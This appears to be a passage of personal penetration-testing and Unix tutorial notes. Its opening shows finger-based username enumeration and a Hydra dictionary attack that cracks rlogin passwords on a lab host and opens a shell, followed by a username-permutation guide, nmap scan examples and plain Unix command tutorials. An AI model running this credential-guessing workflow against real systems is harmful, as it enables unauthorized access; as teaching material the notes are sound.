79/tcp  open  finger  Sun Solaris fingerd
513/tcp open  login
MAC Address: 08:00:27:63:61:B7 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Sun Solaris 9|10, Sun OpenSolaris
OS CPE: cpe:/o:sun:sunos:5.9 cpe:/o:sun:sunos:5.10 cpe:/o:sun:opensolaris
OS details: Sun Solaris 9 or 10, Sun Solaris 9 or 10, or OpenSolaris 2009.06 snv_111b
Network Distance: 1 hop
Service Info: OS: Solaris; CPE: cpe:/o:sun:sunos

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.68 seconds
root@asus:~/pentest_notes% 

Here we see we have two ports open, the fingerd process and the rlogin service on port 513. Our next step is to try and query the finger daemon to see if there are any connected users currently on the system.

Query the finger daemon

root@asus:~/pentest_notes% finger @osiris.acme.com
Login       Name               TTY         Idle    When    Where
root     Super-User            console        3 Wed 22:37  :0                  
stacey          ???            pts/3          1 Wed 22:39  192.168.0.100       
larry           ???            pts/4            Wed 22:21  192.168.0.132       
barrett         ???            pts/5            Wed 22:44  192.168.0.33       
slade           ???            pts/6            Wed 22:40  192.168.0.10
hayes           ???            pts/7            Wed 22:11  192.168.0.232
virginia        ???            pts/8            Wed 22:05  192.168.0.5
root@asus:~/pentest_notes%

This is the list of usernames we will use to try and guess a correct login/passwd combnation for. if we go further and query a specfic user we see that what is returned is the username and the remote host where the user is connecting from which gives us insight in to how their internal network is addressed.

root@asus:~/pentest_notes% finger larry@osiris.acme.com
Login       Name               TTY         Idle    When    Where
larry           ???            pts/4            Wed 22:40  192.168.0.132       
root@asus:~/pentest_notes% 

Now we can try and gain access to the remote host by a dictonary attack using our enumerated names, the rockyou wordlist and the Hydra tool.

Using Hydra to crack remote logins

root@asus:~/pentest_notes% hydra -L rlogin-users.txt -P rockyou.txt rlogin://osiris.acme.com
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2018-12-26 22:55:17
[DATA] max 16 tasks per 1 server, overall 64 tasks, 42 login tries (l:7/p:6), ~0 tries per task
[DATA] attacking service telnet on port 23
[513][rlogin] host: osiris.acme.com   login: larry   password: bc04hnu
[513][rlogin] host: osiris.acme.com   login: barrett   password: 3633mb
[513][rlogin] host: osiris.acme.com   login: slade   password: zenun77
[513][rlogin] host: osiris.acme.com   login: hayes   password: cubby1
[513][rlogin] host: osiris.acme.com   login: virginia   password: sexy1984
1 of 1 target successfully completed, 5 valid passwords found
Hydra (http://www.thc.org/thc-hydra) finished at 2018-12-26 22:55:50
root@asus:~/pentest_notes% 

Once we have found some successful login combinations, its now time to try and see if any of the logins work on the remote host. For this we will be using rlogin to verify out results.

Testing remote logins

root@asus:~/pentest_notes% rlogin osiris.acme.com -l virginia
The authenticity of host 'osiris.acme.com (192.168.0.130n)' can't be established.
RSA key fingerprint is SHA256:pqvyzr0herRl6SBTTwJdx5K4kfNjbTkoU4boVeE983I.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'osiris.acme.com' (RSA) to the list of known hosts.
Password: 
Last login: Wed Dec 26 23:25:18 2018 from 192.168.0.100
Oracle Corporation      SunOS 5.10      Generic Patch   January 2005
$ id
uid=108(virginia) gid=1(other)
$ exit
Connection to osiris.acme.com closed.
root@asus:~/pentest_notes% 

As you can see we found a succesful login and now have a local shell on the remote host we can work from to try and further gain higher privleges.

NMAP Fingerprinting with Examples

NMAP (Service Fingerprinting)

Try to fingerprint currently running services on host

nmap -sV target

root@asus:~/unix% nmap -sV 192.168.0.25

Starting Nmap 7.01 ( https://nmap.org ) at 2019-04-20 11:19 MDT
Nmap scan report for fox.acme.com (192.168.0.25)
Host is up (0.000033s latency).
Not shown: 995 closed ports
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
389/tcp  open  ldap    OpenLDAP 2.2.X - 2.3.X
631/tcp  open  ipp     CUPS 2.1
3306/tcp open  mysql   MySQL 5.7.25-0ubuntu0.16.04.2
6667/tcp open  irc     InspIRCd
Service Info: Host: irc.local

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.73 seconds
root@asus:~/unix% 

Specify how many probes (intensity) to send to host for fingerprinting

nmap -sV --version-intensity [0-9] target

root@asus:~/unix% nmap -sV --version-intensity 5 192.168.0.25

Starting Nmap 7.01 ( https://nmap.org ) at 2019-04-20 11:22 MDT
Nmap scan report for fox.acme.com (192.168.0.25)
Host is up (0.000017s latency).
Not shown: 995 closed ports
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
389/tcp  open  ldap    OpenLDAP 2.2.X - 2.3.X
631/tcp  open  ipp     CUPS 2.1
3306/tcp open  mysql   MySQL 5.7.25-0ubuntu0.16.04.2
6667/tcp open  irc     InspIRCd
Service Info: Host: irc.local

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.49 seconds
root@asus:~/unix% 

NMAP (OS Fingerprinting)

Try to guess remote hosts OS

nmap -O target

root@asus:~/unix% nmap -O 192.168.0.25

Starting Nmap 7.01 ( https://nmap.org ) at 2019-04-20 11:28 MDT
Nmap scan report for fox.acme.com (192.168.0.25)
Host is up (0.000024s latency).
Not shown: 995 closed ports
PORT     STATE SERVICE
80/tcp   open  http
389/tcp  open  ldap
631/tcp  open  ipp
3306/tcp open  mysql
6667/tcp open  irc
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.7 - 3.10, Linux 3.8 - 4.0
Network Distance: 0 hops

OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 5.50 seconds
root@asus:~/unix% 

Verbose for more information

The more ‘v’s you add the more verbose the output nmap produces

nmap -O -v target

root@asus:~/unix% nmap -O -v 192.168.0.25

Starting Nmap 7.01 ( https://nmap.org ) at 2019-04-20 11:28 MDT
Initiating SYN Stealth Scan at 11:28
Scanning fox.acme.com (192.168.0.25) [1000 ports]
Discovered open port 3306/tcp on 192.168.0.25
Discovered open port 80/tcp on 192.168.0.25
Discovered open port 389/tcp on 192.168.0.25
Discovered open port 6667/tcp on 192.168.0.25
Discovered open port 631/tcp on 192.168.0.25
Completed SYN Stealth Scan at 11:28, 1.70s elapsed (1000 total ports)
Initiating OS detection (try #1) against fox.acme.com (192.168.0.25)
Nmap scan report for fox.acme.com (192.168.0.25)
Host is up (0.000038s latency).
Not shown: 995 closed ports
PORT     STATE SERVICE
80/tcp   open  http
389/tcp  open  ldap
631/tcp  open  ipp
3306/tcp open  mysql
6667/tcp open  irc
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.11 - 3.14, Linux 3.7 - 3.10, Linux 3.8 - 4.0
Uptime guess: 13.560 days (since Sat Apr  6 22:02:01 2019)
Network Distance: 0 hops
TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: All zeros

Read data files from: /usr/bin/../share/nmap
OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 5.46 seconds
           Raw packets sent: 1116 (51.808KB) | Rcvd: 2241 (98.212KB)
root@asus:~/unix% 

Aggressive scan

This is basically the same as ‘nmap -sV -O -sC --traceroute target’

nmap -A target

root@asus:~/unix% nmap -A 192.168.0.25

Starting Nmap 7.01 ( https://nmap.org ) at 2019-04-20 11:30 MDT
Nmap scan report for fox.acme.com (192.168.0.25)
Host is up (0.000045s latency).
Not shown: 995 closed ports
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
389/tcp  open  ldap    OpenLDAP 2.2.X - 2.3.X
631/tcp  open  ipp     CUPS 2.1
| http-methods: 
|_  Potentially risky methods: PUT
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: CUPS/2.1 IPP/2.1
|_http-title: Home - CUPS 2.1.3
3306/tcp open  mysql   MySQL 5.7.25-0ubuntu0.16.04.2
| mysql-info: 
|   Protocol: 53
|   Version: .7.25-0ubuntu0.16.04.2
|   Thread ID: 34
|   Capabilities flags: 63487
|   Some Capabilities: LongColumnFlag, Support41Auth, Speaks41ProtocolOld, SupportsLoadDataLocal, SupportsTransactions,
 DontAllowDatabaseTableColumn, Speaks41ProtocolNew, ODBCClient, IgnoreSigpipes, InteractiveClient, ConnectWithDatabase, 
FoundRows, LongPassword, IgnoreSpaceBeforeParenthesis, SupportsCompression
|   Status: Autocommit
|   Salt: tk :w%q8B\x08Sb
|_\x03l\x1E p\x05c
6667/tcp open  irc     InspIRCd
| irc-info: 
|   server: irc.local
|   users: 1
|   servers: 1
|   chans: 0
|   lusers: 1
|   lservers: 0
|   source ident: nmap
|   source host: 192.168.0.25
|_  error: Closing link: (nmap@192.168.0.25) [Client exited]
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.7 - 3.10, Linux 3.8 - 4.0
Network Distance: 0 hops
Service Info: Host: irc.local

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.64 seconds
root@asus:~/unix%

NMAP Host Discovery Scanning with Examples

Host Discovery

Host discovery is an important part of security testing a network. Luckily, nmap provides us with a wealth of option we can use against hosts to check their ‘up’ status. All of the commands that follow in the ‘discovery’ section will use the ‘-sn’ option. The ‘-sn’ option tells nmap not to run a port scan against the host or do DNS resolution and just to check to see if the host is alive. This will speed up the scan.

Ping sweep

nmap -sn target

root@asus:~/unix% nmap -sn 192.168.0.25

Starting Nmap 7.01 ( https://nmap.org ) at 2019-04-19 21:16 MDT
Nmap scan report for fox.acme.com (192.168.0.25)
Host is up.
Nmap done: 1 IP address (1 host up) scanned in 0.02 seconds
root@asus:~/unix% 

SYN ping scan

Send a TCP SYN Packet to port 80 and 443 to see if the host is up

nmap -sn -PS80,443 target

root@asus:~/unix% nmap -sn -PS80,443 192.168.0.25

Starting Nmap 7.01 ( https://nmap.org ) at 2019-04-19 20:14 MDT
Nmap scan report for fox.acme.com (192.168.0.25)
Host is up.
Nmap done: 1 IP address (1 host up) scanned in 0.01 seconds
root@asus:~/unix% 

ACK ping scan

Send a TCP ACK Packet to port 80 and 443 to see if the host is up

nmap -sn -PA80,443 target

root@asus:~/unix% nmap -sn -PA80,443 192.168.0.25

Starting Nmap 7.01 ( https://nmap.org ) at 2019-04-19 20:14 MDT
Nmap scan report for fox.acme.com (192.168.0.25)
Host is up.
Nmap done: 1 IP address (1 host up) scanned in 0.00 seconds
root@asus:~/unix% 

UDP ping scan

Send a UDP Ping to ports 53 and 137 to see if the host is up

nmap -sn -PU53,137 target

root@asus:~/unix% nmap -sn -PU53,137 192.168.0.25

Starting Nmap 7.01 ( https://nmap.org ) at 2019-04-19 20:15 MDT
Nmap scan report for fox.acme.com (192.168.0.25)
Host is up.
Nmap done: 1 IP address (1 host up) scanned in 0.00 seconds
root@asus:~/unix% 

ICMP ping scan

Send an ICMP Echo Request to see if the host is up

nmap -sn -PE target

root@asus:~/unix% nmap -sn -PE 192.168.0.25

Starting Nmap 7.01 ( https://nmap.org ) at 2019-04-19 20:16 MDT
Nmap scan report for fox.acme.com (192.168.0.25)
Host is up.
Nmap done: 1 IP address (1 host up) scanned in 0.01 seconds
root@asus:~/unix% 

ICMP timestamp reply

Send an ICMP TIMESTAMP reply to see if the host is up

nmap -sn -PP target

root@asus:~/unix% nmap -sn -PP 192.168.0.25

Starting Nmap 7.01 ( https://nmap.org ) at 2019-04-19 20:17 MDT
Nmap scan report for fox.acme.com (192.168.0.25)
Host is up.
Nmap done: 1 IP address (1 host up) scanned in 0.00 seconds
root@asus:~/unix%

ICMP address mask reply

Send and ICMP address mask reply to see if the host is up

nmap -sn -PM target

root@asus:~/unix% nmap -sn -PM 192.168.0.25

Starting Nmap 7.01 ( https://nmap.org ) at 2019-04-19 20:19 MDT
Nmap scan report for fox.acme.com (192.168.0.25)
Host is up.
Nmap done: 1 IP address (1 host up) scanned in 0.02 seconds
root@asus:~/unix% 

IP Protocol ping scan using ICMP, IGMP, TCP using 255 byte random payload

nmap -sn -PO1,2,6 --data-len 100 target

root@asus:~/unix% nmap -sn -PO1,2,6 --data-len 255 192.168.0.25

Starting Nmap 7.01 ( https://nmap.org ) at 2019-04-19 20:20 MDT
Nmap scan report for fox.acme.com (192.168.0.25)
Host is up.
Nmap done: 1 IP address (1 host up) scanned in 0.00 seconds
root@asus:~/unix% 

Arp Ping Scan

nmap -sn -PR target

root@asus:~/unix% nmap -sn -PR 192.168.0.25

Starting Nmap 7.01 ( https://nmap.org ) at 2019-04-19 20:20 MDT
Nmap scan report for fox.acme.com (192.168.0.25)
Host is up.
Nmap done: 1 IP address (1 host up) scanned in 0.00 seconds
root@asus:~/unix% 

NO Ping

Do not ping the target just check to see if it is up

nmap -sn -Pn target

root@asus:~/unix% nmap -sn -Pn 192.168.0.25

Starting Nmap 7.01 ( https://nmap.org ) at 2019-04-19 20:21 MDT
Nmap scan report for fox.acme.com (192.168.0.25)
Host is up.
Nmap done: 1 IP address (1 host up) scanned in 0.02 seconds
root@asus:~/unix% 

Enumerating UNIX usernames

Sometimes you may come across a situation where all you have from your OSINT phase is a list of first and last names. you can use pre-built lists to find very common users, but what about usernames which are not so common such as, `johsmi` or `s-john`.

We can find usernames like this by creating a list of possible permutations of the first and last name of the person. before we construct our list we first have to understand a few rules dealing with how usernames (in unix) can be formated.

Unix username rules

Usernames in most unix distributions are limited to the following:

unix usernames can only contain the characters: [a-zA-Z][0-9][._-] 
unix usernames are case-sensitive. 
unix usernames cannot start with a number. 
unix usernames cannot start with any of the special chars allowed `.`, `_` or `-`. 

that is fundamentally it as far as what is allowed when creating a username. Now we can get into creating different combo's to get a list of realistic and probable usernames to fuzz with.

Creating username variations

Our example name will be: John Smith

First and Last Name

we can start out simple and just concat the first and last name like so:

johnsmith

we can add in special characters

john.smith
john_smith
john-smith

we can do the same except in reverse

smithjohn

furthermore, some usernames start with just the first letter of the persons first name followed by the full last name like so:

jsmith or smithj

adding the special characters we get:

j.smith
j_smith
j-smith
~
smith.j
smith_j
smith-j

we are still do the same as above but increasing the character by one, so instead of the first character of the name it would be the first two characters.

josmith
~
jo.smith
jo_smith
jo-smith

or reverse

smithjo
~
smith.jo
smith_jo
smith-jo

continuing still with the theme of adding single characters, we can add the first three characters of the name followed by the last name:

johsmith
~
joh.smith
joh_smith
joh-smith

the reverse

smithjoh
~
smith.joh
smith_joh
smith-joh

We can also do first character of last name and first name:

sjohn
~
s-john
s.john
s_john

Here are some random permutations for good measure; first name and first character of last name

johns

first name and first two characters of last name

johnsm

first two characters of last name and first name

smjohn

first three characters of last name and first name

smijohn

first three characters of first and last name

johsmi

if we apply all the rules to our name the list should look something like this:

john
johns
johnsm
john-smith
john.smith
john_smith
johsmi
joh-smith
joh.smith
joh_smith
johsmith
josmith
j-smith
j.smith
j_smith
jsmith
s-john
s.john
s_john
sjohn
smijohn
smith
smith-j
smith.j
smith_j
smithj
smith-jo
smith.jo
smith_jo
smithjo
smith-joh
smith.joh
smith_joh
smithjoh
smjohn

Once we have a list like this all we have to do is fuzz one user to find out what the username format is and apply that format to the other names in our list. now we can move forward a bit more confident that we will indeed uncover a valid username to exploit remote services like FTP, SSH, SMTP, etc.

Unix SetUID and SetGID special permissons

Setting SetUID Bit

When the setuid bit is set, it allows a normal user to run a program with higher user privileges. An example of the setuid bit is the program /usr/bin/passwd. the file permissions on this file are -rwsr-xr-x. When you set or update your password with the passwd program has to update files in the /etc directory where you do not have write or modify permissions to do so. The passwd program has the setuid bit set 's' so when you do update your password, you will be able to write the new config to /etc/passwd and /etc/shadow file as if you were the root user.

sam@asus:~/unix% chmod u+s prog
sam@asus:~/unix% ls -l prog
-rwsrwxr-x 1 sam sam 0 Apr  8 12:21 prog
sam@asus:~/unix% 

The ‘s’ in ‘-rwsrwxr-x’ tells us the setuid bit is set for this program

Setting SetGID Bit

The setguid allows access to both directories and files with elevated privileges. The difference here is that the file will be ran with the permissions of the group class of users whom own the file not the user running the process.

The files where the setgid bit is set allows users who are in the groups user class to create and execute files there. While any other user will just have write and execute permissions on those files except, they will not own the files in the directory.

sam@asus:~/unix% chmod g+s docs/
sam@asus:~/unix% ls -l
drwxrwsr-- 2 sam sam    4096 Apr  4 20:11 docs
sam@asus:~/unix% 

The ‘s’ tells us the setgid bit is set for this directory

drwxrwxrwt 11 root root 4096 Apr 8 12:21 tmp

The OSI Reference model

The OSI Reference model is divided in to 7 layers. The layers are the Application, Presentation, Session, Transport, Network, Data Link and Physical layers. Each layer has its own job to perform to make sure data makes if from one end of the communication to the other.

Each layer adds information to the previous layer. This adding of information at each level is called encapsulation. Once the data reaches that other side of the communication, the striping of information set by each layer at the destination host is called decapsulation.

Data added at each level of the OSI model is referred to as a Protocol Data Unit or PDU. Each PDU has different names at each layer of the OSI model. For the application layer a PDU is known as Data. At the transport layer it is known as a Segment. The Internetwork Layer refers to a PDU as a Packet. The Network Access layers a PDU is a Frame. While a PDU at the Physical Layer is at a bit level.

Once it is received at the destination host, the data encapsulated by the source host is then stripped and decapsulated with each layer reading the information previously set from the source host. The first step in this process of layering information starts at layer seven or the Application Layer.

OSI 7 Layer Reference Model
 ---------------
|  application  | (7)
 --------------- 
|  presentation | (6) 
 ---------------
|    session    | (5)
 ---------------
|    transport  | (4) 
 ---------------
|    network    | (3) 
 ---------------
|    data link  | (2) 
 ---------------
|    physical   | (1) 
 ---------------

Application Layer 7

The Application Layer of the OSI model provides an interface between the software you use and the network which it is sent over. Software like web browsers, FTP and DNS are at the application.

Presentation Layer 6

After the data from the Application Layer is passed down, it reaches the Presentation Layer. The Presentation Layer is responsible for formatting the data in a way readable for the destination host. This can include compression and encryption of the data being sent and also formats for images such as JPEG and PNG.

Session Layer 5

The Session Layer is responsible for the management of sessions between users. This includes things like session establishment and termination of connections between applications.

Transport Layer 4

The data transfer between end systems and error correction. Protocols like TCP operate at this layer of the OSI model.

Network Layer 3

Routing and Switching of the data packet to the destination are done through the Network Layer. It creates a path between two hosts across a network.

Data Link Layer 2

At the Data Link layer information is encoded and decoded in to bits. The Data Link layer is further divided in to two sub-layers called the Media Access Control (MAC) and Logical Link Control layer (LLC). The Media access control layer provides access control to channels and addressing. The MAC layer makes it possible for multiple hosts on a network to communicate on a shared medium like Ethernet. The Logical Link Control layer acts as a interface between the Media Access layer and the Network Layer.

Physical Layer 1

The Physical Layer deals with the actual transmission of encoding and decoding of bits in to electrical signals which are then sent over a transmission medium. Physical Layer acts as an interface between transmission devices and transmission medium. It also controls data transmission rates measured in bits per second.

UNIX cp command with examples

The ‘cp’ command in used is used to copy files or directories from one place to another.

Make a copy of a file

cp source destination

sam@asus:~/unix% cp sample1.txt sample1-copy.txt
sam@asus:~/unix% ls -l sample1*
-rw-rw-r-- 1 sam sam 101 Apr  5 20:30 sample1-copy.txt
-rw-rw-r-- 1 sam sam 101 Apr  4 21:31 sample1.txt
sam@asus:~/unix% 

The ‘cp’ command gives you the ability to copy multiple files at once. You can either specify the names of each file on the command line or you can use the shell expansion character ‘*’ to get files which meet a certain criteria.

cp file1 file2 file3… destination

sam@asus:~/unix% cp sample1.txt sample2.txt sample3.txt backup/
sam@asus:~/unix% ls -l backup/
total 12
-rw-rw-r-- 1 sam sam 101 Apr  5 20:40 sample1.txt
-rw-rw-r-- 1 sam sam  64 Apr  5 20:40 sample2.txt
-rw-rw-r-- 1 sam sam  97 Apr  5 20:40 sample3.txt
sam@asus:~/unix% 

Or using the wildcard character ‘*’ to copy all text files in to the ‘backup’ directory.

sam@asus:~/unix% cp *.txt backup/
sam@asus:~/unix% ls -l backup/
total 40
-rw-rw-r-- 1 sam sam 10240 Apr  5 20:27 file1.txt
-rw-rw-r-- 1 sam sam     0 Apr  5 20:27 file2.txt
-rw-rw-r-- 1 sam sam     0 Apr  5 20:27 file3.txt
-rw-rw-r-- 1 sam sam 10240 Apr  5 20:27 output.txt
-rw-rw-r-- 1 sam sam   101 Apr  5 20:27 sample1.txt
-rw-rw-r-- 1 sam sam    64 Apr  5 20:27 sample2.txt
-rw-rw-r-- 1 sam sam    97 Apr  5 20:27 sample3.txt
-rw-rw-r-- 1 sam sam    79 Apr  5 20:27 sample4.txt
sam@asus:~/unix% 

Make a copy of a directory

To make a copy of a directory and all its sub-directories you would use the ‘-R’. The ‘-R’ option tells cp to copy all files recursively.

cp -R dir1/ dir2/ dir3/… dest/

sam@asus:~/unix% cp -R test/ backup/
sam@asus:~/unix% ls backup/
sample1.txt  sample2.txt  sample3.txt  test
sam@asus:~/unix% 

UNIX cut command with examples

Cut by selected bytes

The cut utility allows you to cut text by selecting the bytes you want to extract from the string.

sam@asus:~/unix% echo "test" | cut -b 1 
t
sam@asus:~/unix% echo "test" | cut -b 1,2,3
tes

Cut by selected byte range

You can select a range of bytes to extract from a string using the ‘-’, which specifies a range rather than a single byte.

sam@asus:~/unix% echo "test" | cut -b 1-4
test
sam@asus:~/unix% echo "test" | cut -b 1-2,3-4
test
sam@asus:~/unix% 

Cut by selecting characters

Selecting a character with the cut utility is performed with the ‘-c’ option. It extracts one or more characters from a string.

sam@asus:~/unix% echo "test" | cut -c 1
t
sam@asus:~/unix% echo "test" | cut -c 1,2
te

Cut by selecting character range

Selecting a character range with the ‘-c’ is achieved like the ‘-b’ using the ‘-’ character to indicated a range of characters.

sam@asus:~/unix% echo "test" | cut -c 1-3
tes
sam@asus:~/unix% echo "test" | cut -c 1-2,3-4
test
sam@asus:~/unix% 

Cut based on delimiter

Cut gives you the ability to split up a string based on a delimiter you specify. Using the ‘-d’ option along with the ‘-f’ option which tells cut which fields you wish to print on screen. Out data set contains names separated by ‘;’. By default cut separates the string based on the tab delimiter.

sam@asus:~/unix% cut -d ";" -f 1 sample2.txt
Edan
James
Clinton
Dean
Dawn
sam@asus:~/unix% 

If you wanted to print the second field of the string delimiter by a ‘;’ you to do as so:

sam@asus:~/unix% cut -d ";" -f 2 sample2.txt
Carney
Quinn
Wilkinson
Graves
Owen
sam@asus:~/unix% 

The ‘-d’ option can also cut multiple fields and print them them.

sam@asus:~/unix% cut -d "," -f 1,2 sample3.txt
Edan,Carney
James,Quinn
Clinton,Wilkinson
Dean,Graves
Dawn,Owen
sam@asus:~/unix%

or can print a range

sam@asus:~/unix% cut -d "," -f 1-3 sample3.txt
Edan,Carney,Jerry
James,Quinn,Bob
Clinton,Wilkinson,Winston
Dean,Graves,Carrey
Dawn,Owen,Samatha
sam@asus:~/unix% 

Printing a different output delimiter

Cut gives you the ability to set a new output delimiter instead of using the input delimiter by default.

sam@asus:~/unix% cut -d "," -f 1,2 --output-delimiter='//' sample3.txt
Edan//Carney
James//Quinn
Clinton//Wilkinson
Dean//Graves
Dawn//Owen
sam@asus:~/unix% 

UNIX bzip2 command with examples

Create a bz2 archive

To create a bzip2 archive simply specify the name of the file to compress. bzip2 will create an archive with the name of the file. One note to remember is that bzip2 will delete the input file being compressed. So you need to specify the ‘-k’ option which tells bzip2 to keep the input file

bzip2 filename.ext

sam@asus:~/unix% bzip2 -k 5MB.zip 
sam@asus:~/unix% ls -l 5MB.zip.bz2 
-rw-rw-r-- 1 sam sam 5265879 Jun  2  2008 5MB.zip.bz2
sam@asus:~/unix% 

Decompress or extract a bz2 archive

To decompress a bz2 archive we can use the ‘-d’ option which tells bzip2 to decompress the archive. By default bzip2 does not overwrite files, so to remedy that you can use the ‘-f’ option to tell bzip2 to overwrite already existing files.

bzip2 -d file.ext

sam@asus:~/unix% bzip2 -d 5MB.zip.bz2 
bzip2: Output file 5MB.zip already exists.
sam@asus:~/unix% bzip2 -df 5MB.zip.bz2 
sam@asus:~/unix% 

Set verbose output

bzip2 gives you the option to see verbose output to the screen with the ‘-v’ option. The more ‘-v’s added the more verbose bzip2 will be. The ‘v’ option can be combined with any of the other options bzip2 allows.

bzip2 -v, bzip2 -vv, ...

sam@asus:~/unix% bzip2 -k 5MB.zip 
sam@asus:~/unix% bzip2 -vdf 5MB.zip.bz2 
  5MB.zip.bz2: done
sam@asus:~/unix% bzip2 -k 5MB.zip 
sam@asus:~/unix% bzip2 -vvvdf 5MB.zip.bz2 
  5MB.zip.bz2: 
    [1: huff+mtf rt+rld {0xc782e51c, 0xc782e51c}]
    [2: huff+mtf rt+rld {0x76d1a985, 0x76d1a985}]
    [3: huff+mtf rt+rld {0x27d0b28b, 0x27d0b28b}]
    [4: huff+mtf rt+rld {0xacdf1819, 0xacdf1819}]
    [5: huff+mtf rt+rld {0x05d74b5d, 0x05d74b5d}]
    [6: huff+mtf rt+rld {0x697e0b4a, 0x697e0b4a}]
    combined CRCs: stored = 0x726f5200, computed = 0x726f5200
    done
sam@asus:~/unix% 

Test the integrity of a bz2 archive

To test the integrity of an archive you would use the ‘-t’ option.

bzip2 -vvt file.bz2

sam@asus:~/unix% bzip2 -k 5MB.zip 
sam@asus:~/unix% bzip2 -vvt 5MB.zip.bz2 
  5MB.zip.bz2: 
    [1: huff+mtf rt+rld]
    [2: huff+mtf rt+rld]
    [3: huff+mtf rt+rld]
    [4: huff+mtf rt+rld]
    [5: huff+mtf rt+rld]
    [6: huff+mtf rt+rld]
    ok
sam@asus:~/unix% 

UNIX gzip command with examples

Create a gz archive

To create a gzip archive simply specify the name of the file to compress. gzip will create an archive with the name of the file. One note to remember is that gzip will delete the input file being compressed. So you need to specify the ‘-k’ option which tells gzip to keep the input file.

gzip filename.ext

sam@asus:~/unix% gzip -k 5MB.zip
sam@asus:~/unix% ls -l 5MB.zip.gz 
-rw-rw-r-- 1 sam sam 5243706 Jun  2  2008 5MB.zip.gz
sam@asus:~/unix% 

You can set the compression level with gzip by specifying a range of 1 through 9. The ‘1’ represents the fastest compression but with a loss in compression size. The faster the compression the bigger the file. The ‘9’ represents the smallest compression ratio but also takes the longest. The default compression setting to gzip is ‘6’.

gzip -[1-9] filename.ext

sam@asus:~/unix% gzip -9k 5MB.zip
sam@asus:~/unix% ls -l 5MB.zip.gz 
-rw-rw-r-- 1 sam sam 5243706 Jun  2  2008 5MB.zip.gz
sam@asus:~/unix% 

Compress all files within a directory

With gzip you have the ability to compress all files within a directory use specify. Doing so will delete the original input files unless you also give the ‘-k’ option.

sam@asus:~/unix% ls docs/
file1.txt  file.txt  script.sh
sam@asus:~/unix% gzip -rk docs/
sam@asus:~/unix% ls docs/
file1.txt  file1.txt.gz  file.txt  file.txt.gz  script.sh  script.sh.gz
sam@asus:~/unix% 

Decompress a gz archive

To decompress or extract a gz file you would use the ‘-d’ option. gzip will decompress the contents to the current directory.

gzip -d file.gz

sam@asus:~/unix% gzip -d 5MB.zip.gz 
gzip: 5MB.zip already exists; do you wish to overwrite (y or n)? y
sam@asus:~/unix% 

gzip will alert you if the file already exists in the current directory you are decompressing to. In order to force an overwrite of the file, use the ‘-d’ option to tell gzip to force overwrite.

sam@asus:~/unix% gzip -df 5MB.zip.gz 
sam@asus:~/unix% 

Decompress all gz files in a directory

Just as with compression all files in a directory, with decompression gzip will delete the input files upon decompression unless you explicitly tell it to keep the source files. The ‘-k’ option tell gzip to keep all the source files.

gzip -rd directory/

sam@asus:~/unix% ls docs/
file1.txt.gz  file.txt.gz  script.sh.gz
sam@asus:~/unix% gzip -rd docs/
sam@asus:~/unix% ls docs/
file1.txt  file.txt  script.sh
sam@asus:~/unix% 

OR

gzip -rdk directory/

sam@asus:~/unix% ls docs/
file1.txt.gz  file.txt.gz  script.sh.gz
sam@asus:~/unix% gzip -rdk docs/
sam@asus:~/unix% ls docs/
file1.txt  file1.txt.gz  file.txt  file.txt.gz  script.sh  script.sh.gz
sam@asus:~/unix%

List compressed file stats

To view the stats of the compressed file, gzip gives you the ‘-l’ option which tells gzip to list the properties of the compressed file. It gives stats of how large the compressed file is, the uncompressed size, the compression ratio and the filename after decompression.

gzip -l file.gz

sam@asus:~/unix% gzip -l 5MB.zip.gz 
         compressed        uncompressed  ratio uncompressed_name
            5243706             5242880  -0.0% 5MB.zip
sam@asus:~/unix% 

Test a gz archive for integrity

To test the integrety of a gzip archive you can use the ‘-t’ option. On a successful test gzip with output nothing to the screen. To see more information apply the ‘v’ verbose flag to get more output.

gzip -vt file.gz

sam@asus:~/unix/docs% gzip -vt file1.txt.gz 
file1.txt.gz:  OK
sam@asus:~/unix/docs% 

UNIX tar command with examples

Creating a tar archive

To create an archive file from a file or list of files you would use the ‘-c’ and ‘-f’ options. The ‘-c’ option tell tar to create the archive, while the ‘-f’ tells tar what the resulting archive name should be and you will use this options with most of the other options you supply to tar.

tar -cf outputfile.tar file1 file2 file3...

sam@asus:~/unix% tar -cf output.tar 5MB.zip 
sam@asus:~/unix% ls -la output.tar 
-rw-rw-r-- 1 sam sam 5253120 Apr  4 10:07 output.tar
sam@asus:~/unix% 

With the tar command you can also archive whole directories and not just specific files. To compress a whole directory you would do the same as before except specify the directory instead of single files.

tar -cf outputfile.tar dir1 dir2 dir3...

sam@asus:~/unix% tar -cf directory.tar docs/
sam@asus:~/unix% ls -l directory.tar 
-rw-rw-r-- 1 sam sam 10240 Apr  4 10:12 directory.tar
sam@asus:~/unix% 

Extracting from a tar archive

